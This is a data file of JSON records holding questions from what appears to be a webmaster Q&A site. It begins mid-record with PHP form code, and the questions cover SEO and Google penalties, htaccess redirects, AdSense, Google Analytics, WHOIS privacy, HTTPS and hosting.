name='type' style='height: 25px; border-radius: 8px; border-color:#A5ACB2; border-style:solid; border-width: thin;'>\"; if($row[\"priceper\"]=='Price per Unit'){ print \"<option value='KiloGrams' disabled='disabled'>KiloGrams<\/option>\". \"<option value='Grams' disabled='disabled'>Grams<\/option>\". \"<option value='Unit'>Unit<\/option>\"; } else{ print \"<option value='KiloGrams'>KiloGrams<\/option>\". \"<option value='Grams'>Grams<\/option>\". \"<option value='Unit' disabled='disabled'>Unit<\/option>\"; } print \"<\/select>\". \"<p>\". \"<br>\". \"<input type='hidden' name='id' value='{$row[\"productid\"]}'>\". \"<input type='hidden' name='name' value='{$row[\"product_name\"]}'>\". \"<span itemprop='availability' content='in_stock'>\". \"<input type='submit' style='padding:10px 10px;' class='button' value='Buy Now'>\". \"<\/span>\". \"<\/span>\". \"<\/form>\". \"<\/p>\". \"<\/div>\". \"<\/div>\"; } Can anyone help what's wrong with it?"}
{"id":"53481","title":"Should category pages be noindex regarding panda?","text":"I have seen this question, but I believe the situation has changed a lot with the recent Panda updates. I have created a set of category pages to facilitate navigation on my site. It is a proper hierarchy with no duplicates. However, these pages contain mostly navigation links. Could these be considered thin content by Google? Or, is there a good reason I should mark them as noindex? Or should let Google index them? **Update:** After running some tests, I can confirm for sure that letting Google index my category pages triggered a silent penalty where all my indexed pages where not matched to user queries anymore. I had a high rate of those pages on my site. First, I marked them a 'noindex,follow', but it had no impact, since these pages where still in the index. I decided to use the 'remove URL' feature of GWT aggressively to blast those pages away from the index. It worked. Within a day, Google was starting to match remaining pages with user queries again."}
{"id":"10293","title":"Is it considered blackhat SEO to have hidden text within links?","text":"My aim is to simply be informative about where a link is pointing to search engines. I have some content that is listed by name and then I have a \"Permalink\" button. Would it be blackhat SEO to add some hidden text within the anchor that describes where the permalink is pointing? My content is like so: News Item 1 Permalink (<a href=\"\/my-news-item-1\"><hidden>News Item 1<\/hidden> Permalink<\/a>) Teaser text.. The news title of the block already links to the article, but I think it would be of benefit to users to provide and explicit permalink button."}
{"id":"9079","title":"What's the best micropayment solution for a web app?","text":"If I want users to pay $0.10 every time they access a piece of content on my site, is there a broadly accepted solution for this?"}
{"id":"46825","title":"Async load of secondary content; Google says \"slow\", users see what they want faster","text":"We have a performance problem on our site, and we're digging in to correct some rather basic issues -- we know we have many opportunities to improve performance -- this question is about one, in particular. Our special case is that we intentionally defer loading of one part of our page that is inherently slow until after the stuff users really wants is up and rendered. But tools like NewRelic, and Google PageSpeed all see this as a slow-loading page -- 5+ seconds. You can see the case at at pubget.com where we display search results for research papers. We allow users get full article and display either \"View\" or \"Buy\" buttons depending on some fairly complicated rules (e.g. if their company\/university has a subscription to the journal, but there's a lot more) -- these rules take time to calculate. So we load the search results, and then _after_ the page is displayed, we do an AJAX request to get the View\/Buy buttons. The actual work of figuring out what buttons to display (and where they should link) takes about a second, more or less. It seems like the right thing to do from a user experience standpoint, but I wonder if it affects how users and Google sees our site. (If you do look at the page, you'll see any number of other equally important things we're doing wrong. I know about these and we're going to fix them.)"}
{"id":"46827","title":"Turning off Webalizer and\/or AW Stats","text":"On our dedicated server, we have AW Stats and Webalizer both running. I see I can turn them off in WHM. We use Google Analytics, but also AW Stats sometimes. We never use Webzlier. My question is: Does disabling Webalizer and\/or AW Stats reduce any load on the server, apache or mysql? Is there a benefit to turning it off? Thanks."}
{"id":"21561","title":"How is crawler seeing unlinked directories \/ files?","text":"I'm running a crawler on my website to test for broken links and such. It starts by using a URL like www.domain.com One curious thing is that it is showing directories with no internal links. For example, directory \/example_dir\/ is showing up in the crawl tree, but I can't find any internal link to that directory within the pages. How could this be happening and is there a way to prevent it?"}
{"id":"63393","title":"What is best practice for search engines when a website is under maintenance?","text":"I need around a week to transition a heavily data-driven website from one back end to another. During that time I do plan to attempt to keep some pages live, but they won't all work well or look brilliant. Some pages won't work at all. What is the best way to ensure I don't scare Google? Should I hide everything from robots.txt, or mark everything that doesn't work as \"503\", or are there other things that I should be considering?"}
{"id":"24049","title":"Protecting a webpage with an authentication form","text":"I have created an employee webpage with a lot of company info, links, etc., but I want to protect the page because it contains some confidential company information. I am running IIS7.5 on Windows Server 2008 R2, and I already have the site setup as a normal, non-protected site. I want all active directory users to have access to the site. This is not an intranet site, it is exposed to the internet. I tried setting it up using Windows Authentication, but I had problems with multiple login prompts, etc. I just want a simple form for users to enter their credentials and have access to the site, and I need it to query the AD for login. I've searched the web for a guide on this, but I can't seem to find one that fits my situation. This is not a Web App. It is just a simple html site. Does anyone have any suggestions or a link to a guide on this? Thanks so much! -LB"}
{"id":"3553","title":"Value of shorter domain names","text":"I asked this on serverfault and was recommended to try here, so I'm reposting this. Is it still valuable to have a shorter domain name? My company site is currently located at nexustechnologiesllc.com and I have the opportunity to buy nexusllc.com, but I'm really torn on the value of said domain. Shorter names obviously used to be much more valuable because people were more likely to type in a domain name, but now, with everyone pretty much searching, that value seems to be reduced. The other aspect that I'm considering with this is typing in an email address, because people might still be typing that in semi-regularly. But again, I'm not sure how important that aspect is either."}
{"id":"32262","title":"Does Google Analytics automatically handle URLs containing a jsessionid?","text":"When a user visits my web site, the first page they load has a _jsessionid_ appended to the URL like this: `http:\/\/foo.com\/Welcome.do;jsessionid=1234567890abcdef` Note that the jsessionid parameter is separated using a `;` and not a `?` like typical query parameters. Given that this is a fairly common pattern for sites with a Java backend, does Google Analytics automatically account for this somehow and ignore the `;` and everything after it? If not, what must I do to tell Google Analytics to ignore the `;jsessionid` portion of a URL?"}
{"id":"20960","title":"Point me to some modern blog service","text":"I want to start my own blog. What are the modern blog services? wordpress.com? blogger.com? What would you propose?"}
{"id":"20964","title":"Best way to take down site for a long period while I develop it","text":"Rather foolishly, I have been developing my site on a live server (with VCS don't worry), kind of using it as a portfolio \/ show off piece. It is far from finished. Recently, I noticed that Google started to spider it, including some of the debug data accessible across the site as it's in 'debug' mode. I'm not sure of the future effects this will have on my site when it is finally released - especially as some pages are just erroring out while I develop and there is some gobbledygook\/dummy\/blank data on a few pages. SEO wise, what are the best steps to take to not incur any present or future Google penalty? One thing I thought of was to possible disallow spidering in robots.txt, put up a splash page and then setup a decent sitemap when the site is live again. Regardless I am going to setup a development domain somewhere but would like to know the safest way of migrating it down."}
{"id":"61228","title":"Google penalty resulting from duplicate content and backlinks on dealer websites","text":"We have a dealer network that sells our products, as a bonus we give them an extra 25% off our products from the normal wholesale price if they put our products on their site. We recently got hit with a Google manual penalty so we enlisted the help of \"LinkDelete\" to help us get rid of all the backlinks. Some of our dealer websites are in the list of bad backlinks they gave us. They told us this is because of duplicate content. What we do is give our dealers HTML snippets so they can just copy and paste it on their site. The HTML contains absolute URLs to pictures of our products, short descriptions, and links back to our website. We want our SEO rankings restored, so do we just tell our dealers to remove our links?"}
{"id":"13885","title":"How to avoid DotNetNuke with another ASP.NET application conflicts","text":"Web have the following scenario: * A generic web developed using DotNetNuke * A b2b web application developed using ASP.NET + Silverlight What we want to do is the following: * When a client goes to www.myCompanyDomain.com the web that the client access is the Dotnetnuke Web. * When a client goes to www.myCompanyDomain.com\/b2b the web loaded is the B2B web. The problem is that when we install the DotNetNuke application into the main directory of our web server the Web.Config configuration file is inherited by any application installed in a subdirectory, causing the B2B application to fail. In order to have a working installation we have to install the DotNetNuke web in a subdirectory and the B2B web in another, but this make impossible to access the DotNetNuke web directly from www.MyCompanyDomain.com How can we install the applications and configure the IIS to have the wanted behavior?"}
{"id":"45108","title":"Link goes to specific location of page","text":"What makes the user go to a specific location on a new html page? Not the current page. For example, when you click this link, you don't end up starting at the top like you normally would. http:\/\/www.stanford.edu\/dept\/itss\/docs\/oracle\/9i\/java.920\/a96654\/basic.htm#1006509"}
{"id":"58250","title":"Does missing background links affect SEO?","text":"I am amongst a discussion about a number of broken links on a site which has discovered by a checker tool. My argument is that the majority of these links are from the CSS in the form of background images on small elements such as buttons and menu items (which has happened from an old site move). How does Google view this? I thought they would only negatively affect your SEO if they were broken anchor link elements on the page?"}
{"id":"24300","title":"What's the best web site performance tool for end-users?","text":"When I receive reports that my website is running slowly, I would like to be able to point the end-users to a performance\/profiling tool that is easy to use and that has a feature where the end-users' report can be sent to me. Can anyone recommend a site or browser plug-in like this?"}
{"id":"53488","title":"Canonicalising to less linked URLs","text":"I have a question about how to use canonical urls on an ecommerce site with a complex category structure. I have many products and they each sit in multiple categories. Each product can be accessed on multiple urls like: `\/first-category-name\/product-name` & `\/second-category-name\/product-name` They can all also be accessed via standard path like `\/products\/product-name` The reason for the category versions is we vary the recommendations for alternative products and colours depending on which category the user is browsing. For example, a single unisex product may have many colour alternatives but we would show different subsets of these on the two following urls: `\/a-manly-category-with-dark-colours\/product-name` & `\/a-girly-category-with- eight-shades-of-pink\/product-name` On `\/products\/product-name` all the alternatives are shown. The obvious solution (to me) to this was to add a canonical tag pointing all product pages to their `\/products\/product-name` version. However, it worries me that most of the links around the site will point to the duplicate versions and not the canonical target which could be sending Google mixed messages. Is this an issue I need to worry about or will it all be fine as long as I have the canonicals set up right?"}
{"id":"58258","title":"Do you get penalized for writing a title very similar to other blogs?","text":"Do you get penalized if you use somebody's post title with few words changed in the title to match your post?"}
{"id":"38682","title":"Is ignoring clients data during an automatic upgrading acceptable?","text":"I recently faced a deletion of my calendar and notes data inside a third party application ( Horde ) on my online space. When I told the web hosting provider they replied that they were doing an upgrade to system software (!!) and that third party client applications are not within their reach or backup policy. They don't even have a backup of my data. Is this practice acceptable from a web hosting provider, even for individual clients? I know that backing up my data is my responsibility but I anticipated that backup copies done by the host would be available when needed."}
{"id":"38684","title":"htaccess code for maintenance page redirect","text":"I set up a maintenance page that I could enable through an htaccess file. The html file is located in a folder called \"maintenance\". The html file has some images in it. However, visitors to the page see no images, even though I added a `RewriteCond` line to (theoretically) allow them. If I try to visit the URL of an image file in the browser directly, it redirects to the maintenance.htm page. I do not want image files to be redirected. Am I missing something? #RewriteCond %{REMOTE_ADDR} !^127.0.0.1$ #RewriteCond %{REMOTE_ADDR} !^111.111.111.111$ RewriteCond %{REQUEST_URI} !\/maintenance\/maintenance\\.htm$ [NC] RewriteCond %{REQUEST_URI} !\\.(jpg|jpeg|png|gif|css|ico)$ [NC] RewriteRule ^(.*)$ \/maintenance\/maintenance.htm [R=302,L]"}
{"id":"5300","title":"How to get tens of millions of pages indexed by Google bot?","text":"We are currently developing a site that currently has 8 million unique pages that will grow to about 20 million right away, and eventually to about 50 million or more. Before you criticize... **Yes, it provides unique, useful content.** We continually process raw data from public records and by doing some data scrubbing, entity rollups, and relationship mapping, we've been able to generate quality content, developing a site that's quite useful and also unique, in part _due_ to the breadth of the data. It's PR is 0 (new domain, no links), and we're getting spidered at a rate of about 500 pages per day, putting us at about 30,000 pages indexed thus far. At this rate, it would take over 400 years to index all of our data. I have two questions: 1. Is the rate of the indexing directly correlated to PR, and by that I mean is it correlated enough that by purchasing an old domain with good PR will get us to a workable indexing rate (in the neighborhood of 100,000 pages per day). 2. Are there any SEO consultants who specialize in aiding the indexing process itself. We're otherwise doing very well with SEO, **on** -page especially, besides, the competition for our \"long-tail\" keyword phrases is pretty low, so our success hinges mostly on the number of pages indexed. Our main competitor has achieved approx 20MM pages indexed in just over one year's time, along with an Alexa 2000-ish ranking. Noteworthy qualities we have in place: * page download speed is pretty good (250-500 ms) * no errors (no 404 or 500 errors when getting spidered) * we use Google webmaster tools and login daily * friendly URLs in place * I'm afraid to submit sitemaps. Some SEO community postings suggest a new site with millions of pages and no PR is suspicious. There is a Google video of Matt Cutts speaking of a staged on-boarding of large sites, too, in order to avoid increased scrutiny (at approx 2:30 in the video). * Clickable site links deliver all pages, no more than four pages deep and typically no more than 250(-ish) internal links on a page. * Anchor text for internal links is logical and adds relevance hierarchically to the data on the detail pages. * We had previously set the crawl rate to the highest on webmaster tools (only about a page every two seconds, max). I recently turned it back to \"let Google decide\" which is what is advised."}
{"id":"5301","title":"Restrict access to web directory with .htaccess","text":"Let me just say that doing this sort of thing with .htaccess files has never been a strong point for me. Let's say that I have a directory in my web root: \/dir\/data Within that directory let's say that I have a file called data.txt I need to completely restrict access to data.txt (or the whole data directory). The only things that I want to be able to access the data.txt is a script located at \/dir\/data.php I also use scp in a shell file on another server to update the data.txt file, hence this shell file will have to be allowed to access the directory and file as well. I for the life of me can't seem to find what I need on Google (though I know it's there somewhere). I really appreciate any help."}
{"id":"5307","title":"How to get metrics for use of Facebook social plugins?","text":"I have a site with hundreds of content pages. Each content page has a Facebook like button on it. Aside from browsing to each page and reading the number next to each Like button, how can I get information about the number of likes across my whole website? There doesn't seem to be any tools on Facebook that allow me to do this. Any help or advice is appreciated."}
{"id":"13015","title":"Will pointing a domain name away from an old site to a new site hurt SEO?","text":"I developed a new site for one of my clients and used a new domain name. His old site (made in 1998) is still the #1 hit for our key search term, so we'd like to have that hit point to the new site. Will pointing the old domain to our new nameservers keep it at the top of the Google search results, or is it the actual site files that give it good SEO? Should I just set up a redirect on the site itself?"}
{"id":"13013","title":"List of services for privatizing whois information","text":"I am registered with a domain name registrar which does not offer an anonymous whois service. However, I am interested in using some third-party service to keep my whois information private. Are there any such services available that do not also require me to register my domain name with them? All I am interested in doing is changing the whois information with my current registrar to point to some company which is able to forward any correspondence to me, while keeping my personal address anonymous."}
{"id":"30102","title":"How to change currency from euro to dollars in Google AdSense?","text":"In my Google AdSense account all earnings are shown in euros. When I receive check it has $96 in it, what is equivalent of 70 euros. It would be better to receive check for round amount of money. For euro - it is 70, for dollars - it is $100. But earnings in euros are send in dollars too. So I would like to change the currency to dollars. I did not find in AdSense options and on forums how to change it to dollars. **Does anyone know how to change currency from euro to dollars in Google AdSense?** Or at least how can I send (order) checks manually and not automatically (after achieving 70 euros or $100)?"}
{"id":"30100","title":"Spamcop message received, what now?","text":"I've received a message from SpamCop.net that email from 1 of my websites has been marked as spam. The report was sent to my hosting provider who then forwarded it to me. I'n now investigating what happened exactly. I've never been in touch with SpamCop, what exactly does it do? Did 1 user report email I sopposedly sent as spam? Or is there a minimum treshhold before SpamCop sends the report? Are there immedicate consequences when receiving such a report?"}
{"id":"31272","title":"IIS Rewrite Module 2.0 question","text":"If I have to install \"IIS Rewrite Module 2.0\" on my machine for it to work, since my web site runs on a shared web server, does that mean that my host has to have this installed in order for it to work on-line?"}
{"id":"33818","title":"Transfer domain from godaddy to another registrar and (somewhat) maintain privacy?","text":"Does anyone know if its possible in any ways to do this? Transfer a private domain (via domainsbyproxy) registered at godaddy to another registrar. While I know moving a domain from godaddy requires the privacy to be disabled, what we were thinking of doing is the following: a) Update the whois info inside domains by proxy to a 3rd party. Most likely a law firm who would in essnece become our 'custodian'. b) Wait 60 days (?) c) Disable domain privacy. Now the law firms details would become public. d) Conduct the domain transfer. e) Take ownership of the domain at the new registrar. Does something like this sound possible? Does anyone know any other way to handle this? Thanks."}
{"id":"3145","title":"HTTPS best practices for SEO and usability","text":"Consider a page, `http:\/\/example.com`, which can be viewed both publicly and when a user authenticates. Now suppose you enable HTTPS for every page when a user logs into your website, but only when they are logged in. Your page, `http:\/\/example.com` now becomes `https:\/\/example.com` for all logged in users. If that logged in user likes your page and decides to link to it through a blog post or a social media website, there is a good chance that they will use the HTTPS version of the URL. From an SEO perspective, what's your strategy for avoiding duplicate content issues between the two URLs? What should happen if a user arrives at the HTTPS URL but has not logged in or does not have an account? Should there be a redirect to the HTTP version? If so, how would you handle it? My instinct is that for all pages that can be viewed both publicly and while logged in, the page should first detect if the user is logged in. If logged in, it remains HTTPS or uses a 302 redirect from the HTTP version to HTTPS. If the user is not logged in and they arrive to the HTTPS version of the URL, it uses a 301 redirect to the HTTP version. However, I would welcome a more elegant or effective solution. **Edit** : I was assuming that if a user is logged in, every URL should be HTTPS (or at least, that should be an option), but as I've done a little more research, perhaps that assumption was wrong. The way that I see people implementing it is that they only enable HTTPS for pages that send and receive sensitive data: login, shopping cart checkout, user profile management, etc. I'm trying to figure out which model is best. Apparently, Google Mail gives users the option of whether or not to use HTTPS on every page through a setting in the user's profile. That's certainly an option, but I would still need to address the behavior of publicly available pages for all authentication states. Because I'm building a content management system that will be used by other people, I need to make sure I get it right. What settings should be available to the site owner? At this point, I'm thinking granular control over each page (whether or not it's secured with SSL) and then for the whole site as well. However, giving that level of control might be a mistake if people don't understand all of the issues and could end up causing security issues. That, perhaps, is the first issue. What are appropriate levels of control and what are intelligent defaults? The second is how the pages should behave for the user. From an SEO perspective, I think that either the process I described above or using the `rel=\"canonical\"` (like jmb suggested) would work, but nailing down the behavior of the page so that it is secure and seamless is essential as well."}
{"id":"54130","title":"How to set default hreflangs for some languages?","text":"I want to make a site with different versions for 2 countries, which have the same language. Then I need to do the same for another language. Basically I want to have 6 versions of the site: 1. UK English 2. US English 3. Default English ?? 4. Austrian German 5. Germany German 6. Default German The question is, how do I define the \"default\" language versions, for any country with this language which isnt defined already? I know there is x-default, but I think you can only use that once and it is for all languages and all countries."}
{"id":"18074","title":"WHOIS data accuracy policy: can the domain be cancelled?","text":"I am trying to contact the owner of a domain name regarding potential purchase of the name. The owner's listed contact doesn't work, I never got any replies from him\/her. (In fact, the contacts are protected by DomainsByProxy.com, tried to contact them too, no luck in helping me with finding the owner.) So, does ICANN's Whois Data Accuracy policy mean the domain can be cancelled on the grounds of owners not being reachable via WHOIS data?"}
{"id":"20212","title":"Do search engines understand multiple rel values?","text":"I need to have hyperlinks on my page that will look something like: <a href=\"\/someurl\" rel=\"prettyPhoto[main] nofollow\">Link<\/a> So basically the `rel` attribute has two values. I know it is valid HTML (e.g. Multiple values for rel attribute), but my question is specifically about whether search engines will understand it. I would hate it when SE's index stupid json strings on my site :)"}
{"id":"17864","title":"Best way to track multiple sites with Google Analytics","text":"I currently have 63 websites (and counting) that I'm tracking on one Google Analytics account, and I'm starting to realize... this is becoming a bit cumbersome. What's the best way to collect traffic data in bulk? Are there other resources out there that are better suited for this task? Does Google offer a bulk option for this kind of thing? Would it be better to make separate analytics accounts? I'm just wondering if anyone else has had found a better solution that manually setting up all these accounts\/setting up the tracking codes etc, when it comes to large scale management."}
{"id":"24620","title":"what counts as a \"pageview\"","text":"My main index.html page consists of 2 parts (it is written in html & jquery\/javascript): 1. a fixed header that is always at the top of the page 2. a content page that is loaded when a user clicks a button (ie click \"blog\" and the \"content\" div tag gets loaded w\/ the blog contents. Click \"about\" and the \"content\" div tag gets loaded w\/ the about us page. When the user clicks a button on the page, the index.html and header do NOT reload; only the \"content\" div tag on index.html refreshes with new info. I am using CPM advertising. This may sound like an obvious question but because the user stays on \"index.html\" and doesn't explicitly navigate to a \"blog.html\" page nor a \"about.html\" page, will that hurt my advertising revenue? Or, are the ad networks (buysellads.com, etc) smart enough to figure out that the user IS loading new content implicitly? EDIT: The ad would be w\/in the fixed header portion, not in the \"content\" part"}
{"id":"67674","title":"Can I place a caching server in a remote location?","text":"Let's say I have one server acting as HTTP and MySQL server located in the UK, and I want to add a caching server, for example, Redis or Memcached. 1. Can I add a caching server which is located in the US? 2. Will there be any delay in fetching the cached content from the remote location?"}
{"id":"50704","title":"How can I block visitors located in the U.S. while still allowing the Googlebot?","text":"Due to regulation and legal issues we cannot allow U.S. based visitors to access our website. For this reason we redirect all our U.S. traffic to a specialized page. While we do have these restrictions, our (financial) products are perfectly legal and regulated in other countries in Europe, Middle East and Asia. Since we don't want to be considered as cloaking, we redirect all IP's - humans and bots alike. As far as I understand most, if not all, Googlebot's IP ranges come from the U.S. So my question is how can we allow Google to index our website for the benefit of non-U.S. based users and avoid cloaking (or post-cloaking). Can Googlebot access from non-U.S. IP ranges? What would the preferred course of action be?"}
{"id":"5779","title":"Step by step weather API tutorial","text":"Where can I find a good step by step tutorial about some api weather implementation? I´m really new in this, so official documentation is not always as clear as I need to begin to understand. The API must be free, that´s the only requirement. Note: Originally posted by me on StackOverflow with no answer."}
{"id":"23091","title":"Google Analytics Export API - nextPagePath data","text":"I am probably missing something obvious, but I do not understand when I query: start.date = DATE_START, end.date = DATE_END, dimensions = c(\"ga:pagePath\",\"ga:previousPagePath\"), metrics = c(\"ga:pageviews\"), filters = mypageofinterest, table.id = \"ga:mytable\", max.results=RESULTS my data return as expected, all of the previous pages including (entrance). However, when I modify the code to be nextPagePath start.date = DATE_START, end.date = DATE_END, dimensions = c(\"ga:pagePath\",\"ga:nextPagePath\"), metrics = c(\"ga:pageviews\"), filters = mypageofinterest, table.id = \"ga:mytable\", max.results=RESULTS only one line of data are returned; the pagepath and nextpagepath are identical with itself. I replicated this result using the Query Explorer. What am I missing or doing wrong? I was expecting to see a large number of \"next\" pages, including (exit). Thanks in advance."}
{"id":"5773","title":"What is technically correct with Link Wheel and Mininet [technique], looking past the ethical (aka \"blackhat\") nature?","text":"Because of the importance of backlinks, and the way that \"authority\" is calculated, black hat SEO has proliferated LinkWheels and Mininets. In my opinion, we now have a situation that was like baseball during the steroids era. Everyone is cheating, so the people who don't cheat can no longer compete because the cheaters are dominating the game. With hope that this does not become a discussion of the ethics, which would certainly move this to community wiki (at best), I'm curious about what is technically correct about both Mininet and Linkwheel implementations. For example: Do mininets correctly build backlinks? What is the lesson learned regarding backlinks (and their efforts to pose them as organic)? Do they increase the so called \"money site's\" authority? I also should add that it's quite interesting that the Linkwheels are largely built upon the same Web2.0 properties that it seems those sites must be aware of their place in all of this (Squidoo?). If you can cite examples of sites making public their DoFollow or NoFollow link policy, please do. Please note that I'm not an apologist for those black hat techniques. What I'm trying to do is gain a strong understanding of the techniques that are successfully deployed with Linkwheels and Mininets. In so doing, we all may better architect our off-page SEM and social media campaigns. Edit: I changed the URL I linked to for Mininets (definition). I had originally linked to the \"money site\" that sold the book that possibly established the phenomenon, entitled \"Revenge of the Mininet.\" That landing page was not very informative, although the book is still a good source on that topic. The original link follows: http:\/\/www.revengeofthemininet.com\/"}
{"id":"59077","title":"Drop in rankings after removing sitewide backlinks","text":"Here's the scenario: I have a small web design business and was using a branded backlink on the bottom of all client sites. Recently this has become a bit taboo with the Google updates so I went back to a few of my sites and made it so there's only a homepage backlink. After doing this, I've had a drop in rankings, despite this apparently being a best practice. Is this likely a temporary drop that will pick back up? For any new sites, I still want to have a link on all pages of client sites as it's good advertising. I plan to have a do-follow homepage link and then no- follow every other link - is this a good idea?"}
{"id":"24258","title":"A website made in Prestashop is not working","text":"I have a problem with loading my website which is made with Prestashop. 4 or 5 months ago it was working fine, but today when I tried to open it it gives the me message \"Unable to open file\" or sometimes it gives me a server error. I have already tested a die('999') when the index file is loading. When refreshing it, it gives me the result 999 instead of the message \"unable to open the file\". I don't know what happened to my website."}
{"id":"27653","title":"tool for custom web based reporting from your db?","text":"I am looking for online reporting tool that I can design my own reports . reports should be totally custom and based on my own schema so I would like to define queries and see them on a dashboard or something like that"}
{"id":"27652","title":"How do I get social engagement data in Google Analytics?","text":"There's a Social Report under the Audience section. However it shows that none of our visitors are socially engaged. Searching the Google Analytics Help Centre for \"social\" or \"engagement\" doesn't return anything. How do I track social engagement?"}
{"id":"67499","title":"Are Adsense ads allowed to not be initially visible?","text":"I have something like a sidebar that is being pulled out on a click on smaller resolutions. Therefore it is not initially visible, but can be visible when pulled out via a clearly indicated arrow, and is accessible from every page. It is quite complicated for me to understand all the rules dictated by Adsense, so my question is, am I allowed to place Adsense ad units in this sidebar? And can you point me to the specific section in the rules that is referring to this situation, if such exists? This is a simplified demo of what's going on on the page: http:\/\/jsfiddle.net\/x2ynU\/ Also worth noting that this behavior only occurs on the smaller versions of the page (when the width is less than 992px). On a big screen, the sidebar is always fully visible."}
{"id":"25875","title":"Will internal tracking links (redirecting to outbound URLs) hurt my Google rankings?","text":"On my site I have multiple internal tracking links (eg. \/track\/link\/12) which direct the user to an internal tracking script which subsequently redirects the user to some outbound URL. Common practice. All outbound links are like this on my site. Will this affect or hurt my rankings with Google?"}
{"id":"25876","title":"How do I deploy a favicon on Heroku?","text":"I have the following `Hello world` code for my Heroku app. Also in my project's root folder, I have a `favicon.ico`. import os from flask import Flask app = Flask(__name__) html = ''' <!doctype html> <html> <head> <link rel=\"shortcut icon\" href=\"\/favicon.ico\"> <title>Hello world!<\/title> <\/head> <body> <p>Hello world!<\/p> <\/body> <\/html> ''' @app.route('\/') def index(): return html if __name__ == '__main__': port = int(os.environ.get('PORT', 5000)) app.run(host='0.0.0.0', port=port) When I browse to my app, I don't see a `favicon`. Also, when I check `heroku logs`, I get the following `404` line: 2012-02-14T05:23:29+00:00 app[web.1]: <ip.ad.dr.es> - - [14\/Feb\/2012 05:23:29] \"GET \/favicon.ico HTTP\/1.1\" 404 -"}
{"id":"58087","title":"Which browsers do not support user-defined tags?","text":"I recently added HTML5 `<nav>` and `<footer>` elements to a page, thinking that HTML5-capable browsers would use them for semantic things like navigation, while older browsers would see them as user-defined tags and apply CSS styles to them like ordinary `<div>` elements. When I was working on this, I remember seeing a warning that a version or some versions of Internet Explorer didn't support user-defined tags, with a link to HTML5shiv as a possible solution. Unfortunately I don't remember where I saw it or which version\/versions might be affected (which would indicate how concerned I should be about this problem). If other common browsers share this problem, it would help to know about those too."}
{"id":"65301","title":"Is there a way to access the AdWords API for free?","text":"Is there a current way to access the AdWords API and get average monthly searches per keyword search?"}
{"id":"49376","title":"Does Image Hosting affects CPU usage on webservers?","text":"I am working on an android app in which i am including an image gallery. The images will be stored on Webserver and will be accessible by app. I want to know that if I only store images on webserver and 1 webpage. Will the Hotlinking of images from server in my app, affect CPU usage on webservers? Any help will be appreciated."}
{"id":"42822","title":"How to redirect specific url to 404 in htaccess?","text":"I want to redirect only one specific URl (ex. mypage.com\/1234\/page\/) to error page 404. How to achieve it in htaccess?"}
{"id":"34504","title":"connecting… for infinity time","text":"I have website working fine before. But now its not able to connect to the server(I believe that is the problem). But its strange that the message **not able to connect to the server** is not coming and its keep **connecting...** for infinite time. Here is the screenshot.  * * * Here are some of the useful details about the status of the server. Application starts when server wakes up are: cd \/etc\/init.d\/  Application server running in my server :  `Traceroute`: "}
{"id":"25407","title":"How do I bulk upload photos with either Plogger or Zenphoto? Or are there alternative photo management CMSs that allow for bulk upload?","text":"I would like to use either the Plogger or Zenphoto CMS to implement a client's website of photo galleries. The client would like to upload around 1000 photos. So far, I have found no bulk upload feature for Plogger or Zenphoto that meets my needs. Both CMSs offer just two ways to bulk upload photos: 1. Specify a folder on the server to upload. 2. Upload a zip file of photos. Way 1 is not feasible since I'm not giving my client FTP access to my server. Way 2 is not feasible since .zip uploads are limited to 7MB by PHP. Are there plugins out there or features I am not privy to that allow for bulk upload via an interface for the client? By the way, I am also open to other photo CMSs that meet my needs for bulk upload."}
{"id":"47929","title":"Google Analytics content experiment vs. funnel visualization","text":"I am running an experiment on one of the pages in my funnel (the \"Choose shipping options\" page). But the numbers on the different reports do not correspond. First, I am expecting the 70 entrances in the funnel to equal the 131 experiment visits. Also, I expect the 23 conversions in the funnel to match the 21 transactions below. But they do not. How should I read this information to make good decisions?  "}
{"id":"7410","title":"Getting started building a website: hosting, security, and tools","text":"A couple of my friends run a business and they asked me to build them a public website. It will only be used for static information about the company with some pictures. No transactions will be involved. Right now I work for a company where I build internal and external websites; and do a lot of back end programming in C#. I understand HTML, CSS, and jQuery so I feel like I am completely capable of building a website for them. However, I do not know all the basic knowledge to building one. For example, where should we host the files? What type of security issues do I need to be aware of? What's the best software to use for developing websites? (I use visual studio at work.) Where can I find some design techniques?"}
{"id":"50902","title":"How can I delete all (or any) discussions from my Disqus admin?","text":"I put Disqus on my site. This automatically created discussions and URLs in Disqus admin. However, I noticed I have some of the URLs have mistakes. There are many discussions; I don't want to edit URLs manually. I want to **remove all** , for creation new discussions. Is it possible and how?"}
{"id":"35973","title":"Does geographic location of domain registrator matter?","text":"Does it matter where I register my domain geographically when I'm planning to change nameset (nameservers) to a server in my target area? **Example** Target audience: USA Server location: USA Domain origin: bought from French registrator website Question: When a user in the U.S. tries to access my web, will there be a delay, because he had to access the French registrator servers first or will he go directly to my U.S. server?"}
{"id":"7415","title":"Google cache has been updated but not the real search results; How come?","text":"I updated a page title a couple of weeks ago, and just yesterday I saw the Google cache the updated title. However, in the search results, the old title is still displayed. This confuses me as I thought first the search results are updated, then the cache. Can anybody can explain this?"}
{"id":"39226","title":"Why curl SSL disable CURL?","text":"I saw this in cpanel whm on Exhaustive Options List > CurlSSL [More Info ↑] This option will make the following changes to your > profile prior to the build: > > Disables: Curl Why? Which option should I choose?"}
{"id":"32996","title":"Url redirect in dreamhost without editing htaccess","text":"We have a network of sites with an old link to a URL that doesn't exist anymore. We would like to redirect all the traffic to this URL to the new website, while we correct the old link in all the network sites. Since we are a student organization, I cannot be sure that whoever will come after me will have the same technological knowledge as me, so I don't want to code the redirect in the .htaccess. Instead I was wondering if there was another way to do this using the Dreamhost control panel, since we host our site there. Until now though, I didn't find the way to do a redirect for a single URL, but just for a whole domain."}
{"id":"32995","title":"How to save money on AdWords?","text":"Currently I am spending quite a lot on Google AdWord for search campaign, I am looking at methods to save money while maintaining the clicks. I have tried to switch from automatic pricing to manual pricing, cost is lower, but the impression and thus the clicks are also both decreased. Are there any tricks when I switch from automatic pricing to manual? Or other tricks I can used to lower my cost?"}
{"id":"55370","title":"Most significant content keywords in Google Webmaster Tools are not on my website","text":"There are multiple content keywords in the _content keyword_ list of the Google Webmaster Tools that are not on my website. For example, according to that list, the word _one_ appears 6 times on my site (number 1 on the list) but in reality it appears not even once. Other words that are in the list, but not on my website are _webbhotell_ , _billiga_ , _domän_ , _cloud_ , _daglig_ , etc. My website is hosted on `one.com` so I guess it has something to do with that. Anyone having the same problems with `one.com` and Google Webmaster Tools?"}
